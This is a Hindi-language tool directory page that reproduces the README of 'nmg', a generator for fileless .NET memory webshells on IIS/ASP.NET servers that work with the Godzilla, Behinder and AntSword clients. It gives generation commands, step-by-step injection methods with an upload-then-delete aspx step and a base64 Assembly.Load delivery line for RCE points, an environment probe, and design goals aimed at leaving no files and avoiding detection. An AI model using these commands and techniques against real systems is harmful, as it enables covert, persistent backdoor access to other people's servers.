Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
nmg — Godzilla, Behinder और AntSword क्लाइंट के साथ संगत पैरामीटरीकृत .NET मेमोरी-शेल पेलोड (VPP, MVC route, HttpListener) उत्पन्न करता है, जो रेड टीम परीक्षण के लिए हैं। | Kitploit
उपकरण/GitHubGitHub/baguette168/nmg
रक्षात्मक उपकरणपेलोड जनरेशनस्थायित्व तंत्रवेब एप्लिकेशन शोषणपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूलशेलकोड जनरेशनपेलोड डेवलपमेंट
71913 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHub
baguette168/nmg

nmg

Godzilla, Behinder और AntSword क्लाइंट के साथ संगत पैरामीटरीकृत .NET मेमोरी-शेल पेलोड (VPP, MVC route, HttpListener) उत्पन्न करता है, जो रेड टीम परीक्षण के लिए हैं।

रिपॉजिटरी देखें
साझा करें

NMG - .NET मेमोरी-शेल जनरेटर

.NET Tests License Platform

पैरामीटरीकृत .NET मेमोरी शेल जनरेटर | रेड टीम / सुरक्षा परीक्षण | .NET के लिए JMG समकक्ष

आर्किटेक्चर

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

NMG क्या है?

NMG पैरामीटरयुक्त .NET मेमोरी शेल पेलोड उत्पन्न करता है जो IIS/ASP.NET अनुप्रयोगों में डिस्क पर फ़ाइलें छोड़े बिना इंजेक्ट होते हैं। इंजेक्शन के बाद, आप मौजूदा वेबशेल मैनेजर (Godzilla / Behinder / AntSword) से कनेक्ट करते हैं - NMG केवल सर्वर साइड को काम करवाता है।

इसे ऐसे समझें: input parameters -> compiled payload -> inject -> connect with client

विशेषताएँ

मेमोरी शेल प्रकार

प्रकारलक्ष्य.NET Frameworkट्रिगर बिंदु
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (IIS से स्वतंत्र)

शेल प्रोटोकॉल

प्रोटोकॉलक्लाइंटएन्क्रिप्शनसत्यापित
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ एंड-टू-एंड
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ एंड-टू-एंड
antswordAntSwordBase64✅ एंड-टू-एंड

आउटपुट प्रारूप

प्रारूपउपयोग का मामला
aspxरिटेबल डायरेक्टरी में अपलोड करें, इंजेक्ट करने के लिए एक बार एक्सेस करें
b64डीसेरियलाइज़ेशन/एक्सप्रेशन इंजेक्शन के माध्यम से RCE डिलीवरी के लिए
dllकस्टम लोडर के लिए रॉ DLL

सबकमांड

कमांडउद्देश्य
generateमेमोरी शेल पेलोड उत्पन्न करें
probeपर्यावरण पहचान aspx उत्पन्न करें (CLR/trust/MVC/VPP की रिपोर्ट करता है)
versionसंस्करण दिखाएँ
helpउपयोग दिखाएँ

वेब UI

Inset Dark थीम (Linear-शैली न्यूनतमवाद) के साथ अंतर्निहित वेब इंटरफ़ेस:

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

त्वरित शुरुआत

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

इंजेक्शन विधियाँ

विधि 1 — ASPX इंजेक्टर:

  1. जनरेट की गई .aspx फ़ाइल को लक्ष्य पर किसी भी लिखने योग्य डायरेक्टरी में अपलोड करें
  2. इसे ब्राउज़र में एक बार एक्सेस करें (Assembly.Load + VPP पंजीकरण ट्रिगर करता है)
  3. aspx फ़ाइल हटा दें
  4. साइट पर मौजूद किसी भी .aspx/.ashx/.asmx से अपने webshell क्लाइंट के साथ कनेक्ट करें

विधि 2 — Base64 (RCE डिलीवरी): किसी भी कोड निष्पादन बिंदु पर निष्पादित करें:

Assembly.Load(Convert.FromBase64String("<payload>"))

प्रोब

जनरेट किए गए probe.aspx को अपलोड करें और उसे एक बार एक्सेस करें। यह JSON के साथ लौटता है जिसमें शामिल हैं:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

इसका उपयोग यह निर्धारित करने के लिए करें कि किस मेमोरी शेल प्रकार और प्रोटोकॉल का उपयोग करना है।

डिज़ाइन सिद्धांत

  1. होस्ट-सुरक्षित: सभी निष्पादन पथ try-catch में लिपटे हुए हैं, कोई भी अपवाद चुपचाप अनुरोध को पास कर देता है
  2. इडेम्पोटेंट: बार-बार इंजेक्शन करने पर पंजीकरण एक के ऊपर एक नहीं होते
  3. कोई फ़ाइल अवशेष नहीं: इंजेक्शन के बाद, वेब निर्देशिका में कोई नई फ़ाइल नहीं
  4. नियतात्मक: समान पैरामीटर + समान सीड = बाइट-समान आउटपुट (NFR-5)
  5. लक्ष्य पर कोई गतिशील संकलन नहीं: पेलोड पूर्व-संकलित है, ASP.xxx_aspx+ClassName पहचान से बचता है
  6. दोहरा पंजीकरण: VPP पहले आधिकारिक API का उपयोग करता है, IIS Integrated मोड के लिए सीधे फ़ील्ड प्रतिस्थापन पर वापस आता है

बिल्डिंग

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

परियोजना संरचना

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

संदर्भ

  • BeichenDream/GodzillaMemoryShellProject.NET
  • yzddmr6 की ASP.NET मेमोरी शेल श्रृंखला — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java मेमोरी-शेल जनरेटर

लाइसेंस

MIT

टूल डाउनलोड करें